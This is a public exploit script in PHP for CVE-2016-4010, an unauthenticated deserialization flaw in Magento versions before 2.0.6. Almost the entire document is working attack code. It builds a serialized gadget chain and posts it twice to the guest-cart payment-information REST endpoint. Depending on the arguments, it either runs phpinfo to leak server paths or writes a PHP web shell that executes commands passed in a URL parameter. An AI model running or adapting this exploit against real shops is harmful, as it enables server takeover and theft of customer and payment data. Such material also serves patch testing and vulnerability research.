Magento < 2.0.6 - Unauthenticated Arbitrary Unserialize -> Arbitrary Write File
2016-05-18 00:05:03<?php
// Exploit Title: [CVE-2016-4010] Magento unauthenticated arbitrary unserialize -> arbitrary write file
// Date: 18/05/206
// Exploit Author: agix (discovered by NETANEL RUBIN)
// Vendor Homepage: https://magento.com
// Version: < 2.0.6
// CVE : CVE-2016-4010
// to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)
//
// If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.
class Magento_Framework_Simplexml_Config_Cache_File extends DataObject
{
function __construct($data){
$this->_data = $data;
}
}
class Credis_Client{
const TYPE_STRING = 'string';
const TYPE_LIST = 'list';
const TYPE_SET = 'set';
const TYPE_ZSET = 'zset';
const TYPE_HASH = 'hash';
const TYPE_NONE = 'none';
const FREAD_BLOCK_SIZE = 8192;
/**
* Socket connection to the Redis server or Redis library instance
* @var resource|Redis
*/
protected $redis;
protected $redisMulti;
/**
* Host of the Redis server
* @var string
*/
protected $host;
/**
* Port on which the Redis server is running
* @var integer
*/
protected $port;
/**
* Timeout for connecting to Redis server
* @var float
*/
protected $timeout;
/**
* Timeout for reading response from Redis server
* @var float
*/
protected $readTimeout;
/**
* Unique identifier for persistent connections
* @var string
*/
protected $persistent;
/**
* @var bool
*/
protected $closeOnDestruct = TRUE;
/**
* @var bool
*/
protected $connected = TRUE;
/**
* @var bool
*/
protected $standalone;
/**
* @var int
*/
protected $maxConnectRetries = 0;
/**
* @var int
*/
protected $connectFailures = 0;
/**
* @var bool
*/
protected $usePipeline = FALSE;
/**
* @var array
*/
protected $commandNames;
/**
* @var string
*/
protected $commands;
/**
* @var bool
*/
protected $isMulti = FALSE;
/**
* @var bool
*/
protected $isWatching = FALSE;
/**
* @var string
*/
protected $authPassword;
/**
* @var int
*/
protected $selectedDb = 0;
/**
* Aliases for backwards compatibility with phpredis
* @var array
*/
protected $wrapperMethods = array('delete' => 'del', 'getkeys' => 'keys', 'sremove' => 'srem');
/**
* @var array
*/
protected $renamedCommands;
/**
* @var int
*/
protected $requests = 0;
public function __construct($resource) {
$this->redis = new Magento_Sales_Model_Order_Payment_Transaction($resource);
}
}
class DataObject
{
/**
* Object attributes
*
* @var array
*/
protected $_data = [];
/**
* Setter/Getter underscore transformation cache
*
* @var array
*/
protected static $_underscoreCache = [];
}
abstract class AbstractModel2 extends DataObject
{
/**
* Prefix of model events names
*
* @var string
*/
protected $_eventPrefix = 'core_abstract';
/**
* Parameter name in event
*
* In observe method you can use $observer->getEvent()->getObject() in this case
*
* @var string
*/
protected $_eventObject = 'object';
/**
* Name of object id field
*
* @var string
*/
protected $_idFieldName = 'id';
/**
* Data changes flag (true after setData|unsetData call)
* @var $_hasDataChange bool
*/
protected $_hasDataChanges = false;
/**
* Original data that was loaded
*
* @var array
*/
protected $_origData;
/**
* Object delete flag
*
* @var bool
*/
protected $_isDeleted = false;
/**
* Resource model instance
*
* @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb
*/
protected $_resource;
/**
* Resource collection
*
* @var \Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection
*/
protected $_resourceCollection;
/**
* Name of the resource model
*
* @var string
*/
protected $_resourceName;
/**
* Name of the resource collection model
*
* @var string
*/
protected $_collectionName;
/**
* Model cache tag for clear cache in after save and after delete
*
* When you use true - all cache will be clean
*
* @var string|array|bool
*/
protected $_cacheTag = false;
/**
* Flag which can stop data saving after before save
* Can be used for next sequence: we check data in _beforeSave, if data are
* not valid - we can set this flag to false value and save process will be stopped
*
* @var bool
*/
protected $_dataSaveAllowed = true;
/**
* Flag which allow detect object state: is it new object (without id) or existing one (with id)
*
* @var bool
*/
protected $_isObjectNew = null;
/**
* Validator for checking the model state before saving it
*
* @var \Zend_Validate_Interface|bool|null
*/
protected $_validatorBeforeSave = null;
/**
* Application Event Dispatcher
*
* @var \Magento\Framework\Event\ManagerInterface
*/
protected $_eventManager;
/**
* Application Cache Manager
*
* @var \Magento\Framework\App\CacheInterface
*/
protected $_cacheManager;
/**
* @var \Magento\Framework\Registry
*/
protected $_registry;
/**
* @var \Psr\Log\LoggerInterface
*/
protected $_logger;
/**
* @var \Magento\Framework\App\State
*/
protected $_appState;
/**
* @var \Magento\Framework\Model\ActionValidator\RemoveAction
*/
protected $_actionValidator;
/**
* Array to store object's original data
*
* @var array
*/
protected $storedData = [];
}
abstract class AbstractExtensibleModel extends AbstractModel2
{
protected $extensionAttributesFactory;
/**
* @var \Magento\Framework\Api\ExtensionAttributesInterface
*/
protected $extensionAttributes;
/**
* @var AttributeValueFactory
*/
protected $customAttributeFactory;
/**
* @var string[]
*/
protected $customAttributesCodes = null;
/**
* @var bool
*/
protected $customAttributesChanged = false;
}
abstract class AbstractModel extends AbstractExtensibleModel
{
}
class Magento_Sales_Model_Order_Payment_Transaction extends AbstractModel
{
/**#@+
* Supported transaction types
* @var string
*/
const TYPE_PAYMENT = 'payment';
const TYPE_ORDER = 'order';
const TYPE_AUTH = 'authorization';
const TYPE_CAPTURE = 'capture';
const TYPE_VOID = 'void';
const TYPE_REFUND = 'refund';
/**#@-*/
/**
* Raw details key in additional info
*/
const RAW_DETAILS = 'raw_details_info';
/**
* Order instance
*
* @var \Magento\Sales\Model\Order\Payment
*/
protected $_order = null;
/**
* Parent transaction instance
* @var \Magento\Sales\Model\Order\Payment\Transaction
*/
protected $_parentTransaction = null;
/**
* Child transactions, assoc array of transaction_id => instance
*
* @var array
*/
protected $_children = null;
/**
* Child transactions, assoc array of txn_id => instance
* Filled only in case when all child transactions have txn_id
* Used for quicker search of child transactions using isset() as opposite to foreaching $_children
*
* @var array
*/
protected $_identifiedChildren = null;
/**
* Whether to perform automatic actions on transactions, such as auto-closing and putting as a parent
*
* @var bool
*/
protected $_transactionsAutoLinking = true;
/**
* Whether to throw exceptions on different operations
*
* @var bool
*/
protected $_isFailsafe = true;
/**
* Whether transaction has children
*
* @var bool
*/
protected $_hasChild = null;
/**
* Event object prefix
*
* @var string
* @see \Magento\Framework\Model\AbstractModel::$_eventPrefix
*/
protected $_eventPrefix = 'sales_order_payment_transaction';
/**
* Event object prefix
*
* @var string
* @see \Magento\Framework\Model\AbstractModel::$_eventObject
*/
protected $_eventObject = 'order_payment_transaction';
/**
* Order website id
*
* @var int
*/
protected $_orderWebsiteId = null;
/**
* @var \Magento\Sales\Model\OrderFactory
*/
protected $_orderFactory;
/**
* @var \Magento\Framework\Stdlib\DateTime\DateTimeFactory
*/
protected $_dateFactory;
/**
* @var TransactionFactory
*/
protected $_transactionFactory;
/**
* @var \Magento\Sales\Api\OrderPaymentRepositoryInterface
*/
protected $orderPaymentRepository;
/**
* @var \Magento\Sales\Api\OrderRepositoryInterface
*/
protected $orderRepository;
/**
* @param \Magento\Framework\Model\Context $context
* @param \Magento\Framework\Registry $registry
* @param \Magento\Framework\Api\ExtensionAttributesFactory $extensionFactory
* @param AttributeValueFactory $customAttributeFactory
* @param \Magento\Sales\Model\OrderFactory $orderFactory
* @param \Magento\Framework\Stdlib\DateTime\DateTimeFactory $dateFactory
* @param TransactionFactory $transactionFactory
* @param \Magento\Framework\Model\ResourceModel\AbstractResource $resource
* @param \Magento\Framework\Data\Collection\AbstractDb $resourceCollection
* @param array $data
* @SuppressWarnings(PHPMD.ExcessiveParameterList)
*/
public function __construct($resource) {
$this->_resource = $resource;
}
}
class Magento_Framework_DB_Transaction{
protected $_objects = [];
/**
* Transaction objects array with alias key
*
* @var array
*/
protected $_objectsByAlias = [];
/**
* Callbacks array.
*
* @var array
*/
protected $_beforeCommitCallbacks = ["phpinfo"];
}
if(count($argv) < 3){
echo 'Usage: '.$argv[0].' <magento_uri> <guestCartId> (whereToWrite)'.chr(0x0a);
echo 'To get a valid guestCartId'.chr(0x0a);
echo '* add an item in your cart'.chr(0x0a);
echo '* go to checkout'.chr(0x0a);
echo '* fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information'.chr(0x0a);
echo '(* in the response check the payment method it may vary from "checkmo")'.chr(0x0a).chr(0x0a);
echo 'If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.'.chr(0x0a);
exit();
}
if(count($argv) === 4){
$data = [];
$data['is_allowed_to_save'] = True;
$data['stat_file_name'] = $argv[3];
$data['components'] = '<?php system($_GET[0]); ?>';
$resource = new Magento_Framework_Simplexml_Config_Cache_File($data);
}
else{
$resource = new Magento_Framework_DB_Transaction();
}
$redis = new Credis_Client($resource);
$serialized = serialize($redis);
$payload = json_decode('{"paymentMethod":{"method":"checkmo", "additional_data":{"additional_information":""}}, "email": "[email protected]"}');
$payload->paymentMethod->additional_data->additional_information = str_replace('Magento_Framework_DB_Transaction', 'Magento\\Framework\\DB\\Transaction', str_replace('Magento_Sales_Model_Order_Payment_Transaction', 'Magento\\Sales\\Model\\Order\\Payment\\Transaction', str_replace('Magento_Framework_Simplexml_Config_Cache_File', 'Magento\\Framework\\Simplexml\\Config\\Cache\\File', $serialized)));
for($i=0; $i<2; $i++){
$c = curl_init($argv[1].'/rest/V1/guest-carts/'.$argv[2].'/set-payment-information');
curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($c, CURLOPT_POSTFIELDS, json_encode($payload));
curl_exec($c);
curl_close($c);
}
?>
Fixes
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